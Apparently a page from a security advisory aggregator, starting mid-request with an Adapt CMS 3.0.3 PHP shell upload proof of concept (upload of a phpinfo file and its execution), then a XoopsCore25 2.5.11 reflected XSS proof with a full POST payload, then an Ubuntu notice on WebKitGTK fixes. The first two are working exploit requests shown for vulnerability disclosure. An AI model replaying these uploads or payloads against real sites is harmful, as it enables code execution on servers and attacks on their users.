*<?php phpinfo(); ?>*  
------WebKitFormBoundaryVO2wc6i6YcQWk3oU  
[...]

// HTTP response

HTTP/1.1 302 Found  
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40  
mod_perl/2.0.8-dev Perl/v5.16.3  
X-Powered-By: PHP/5.6.40  
*Location: http://192.168.232.133/adaptcms/admin/files  
<http://192.168.232.133/adaptcms/admin/files>*  
[...]

// HTTP GET request

GET /adaptcms/uploads/*test-php.php* HTTP/1.1  
Host: 192.168.232.133  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63  
Safari/537.36  
[...]

// HTTP response

HTTP/1.1 200 OK  
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40  
mod_perl/2.0.8-dev Perl/v5.16.3  
X-Powered-By: PHP/5.6.40  
[...]

[...]  
<h1 class="p">*PHP Version 5.6.40*</h1>  
</td></tr>  
</table>  
<table>  
<tr><td class="e">System </td><td class="v">*Linux ubuntu  
6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12  
18:54:30 UTC 2 x86_64* </td></tr>  
[...]

Adapt CMS 3.0.3 Cross Site Scripting / Shell Upload

XoopsCore25 version 2.5.11 suffers from a cross site scripting vulnerability.

    ## Title: XoopsCore25-2.5.11-XSS-Reflected## Author: nu11secur1ty## Date: 02/12/2024## Vendor: https://xoops.org/## Software: https://github.com/XOOPS/XoopsCore25/releases/tag/v2.5.11## Reference: https://portswigger.net/kb/issues/00200300_cross-site-scripting-reflected## Description:The value of the yname request parameter is copied into the value ofan HTML tag attribute which is encapsulated in single quotation marks.The payload '>333< was submitted in the yname parameter. This inputwas echoed unmodified in the application's response. The attacker cantrick the user to visit very dangerous and malicious URL in thissessionSTATUS: HIGH Vulnerability[+]Exploit execution:```POSTPOST /XoopsCore25-2.5.11/htdocs/misc.php HTTP/1.1Host: pwnedhost.comAccept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160Safari/537.36Connection: closeCache-Control: max-age=0Cookie: xoops_session_65ca21e5=1mc2a5bq1c0m2kh9j1qn5ilqmnOrigin: https://pwnedhost.comUpgrade-Insecure-Requests: 1Referer: https://pwnedhost.com/XoopsCore25-2.5.11/htdocs/misc.php?action=showpopups&type=friend&op=sendform&t=1707748563Content-Type: application/x-www-form-urlencodedSec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0Content-Length: 148yname=VHBoIy'%3e%3ccXWog%3c&ymail=VHBoIy&fname=VHBoIyxV&fmail=VHBoIy&submit=Send&XOOPS_TOKEN_REQUEST=8a6867d76a2aace97646eefb42934056&action=showpopups&type=friend```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/xoops.org/XoopsCore25-2.5.11)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/02/xoopscore25-2511-xss-reflected.html)## Time spent:01:17:00

XoopsCore25 2.5.11 Cross Site Scripting

Ubuntu Security Notice 6631-1 - Several security issues were discovered in the WebKitGTK Web and JavaScript engines. If a user were tricked into viewing a malicious website, a remote attacker could exploit a variety of issues related to web browser security, including cross-site scripting attacks, denial of service attacks, and arbitrary code execution.

    ==========================================================================Ubuntu Security Notice USN-6631-1February 12, 2024webkit2gtk vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 23.10- Ubuntu 22.04 LTSSummary:Several security issues were fixed in WebKitGTK.Software Description:- webkit2gtk: Web content engine library for GTK+Details:Several security issues were discovered in the WebKitGTK Web and JavaScriptengines. If a user were tricked into viewing a malicious website, a remoteattacker could exploit a variety of issues related to web browser security,including cross-site scripting attacks, denial of service attacks, andarbitrary code execution.Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 23.10:   libjavascriptcoregtk-4.0-18     2.42.5-0ubuntu0.23.10.2   libjavascriptcoregtk-4.1-0      2.42.5-0ubuntu0.23.10.2   libjavascriptcoregtk-6.0-1      2.42.5-0ubuntu0.23.10.2   libwebkit2gtk-4.0-37            2.42.5-0ubuntu0.23.10.2   libwebkit2gtk-4.1-0             2.42.5-0ubuntu0.23.10.2   libwebkitgtk-6.0-4              2.42.5-0ubuntu0.23.10.2Ubuntu 22.04 LTS:   libjavascriptcoregtk-4.0-18     2.42.5-0ubuntu0.22.04.2   libjavascriptcoregtk-4.1-0      2.42.5-0ubuntu0.22.04.2   libjavascriptcoregtk-6.0-1      2.42.5-0ubuntu0.22.04.2   libwebkit2gtk-4.0-37            2.42.5-0ubuntu0.22.04.2   libwebkit2gtk-4.1-0             2.42.5-0ubuntu0.22.04.2   libwebkitgtk-6.0-4              2.42.5-0ubuntu0.22.04.2This update uses a new upstream release, which includes additional bugfixes. After a standard system update you need to restart any applicationsthat use WebKitGTK, such as Epiphany, to make all the necessary changes.References:   https://ubuntu.com/security/notices/USN-6631-1   CVE-2024-23206, CVE-2024-23213, CVE-2024-23222Package Information:   https://launchpad.net/ubuntu/+source/webkit2gtk/2.42.5-0ubuntu0.23.10.2   https://launchpad.net/ubuntu/+source/webkit2gtk/2.42.5-0ubuntu0.22.04.2

Tag

#webkit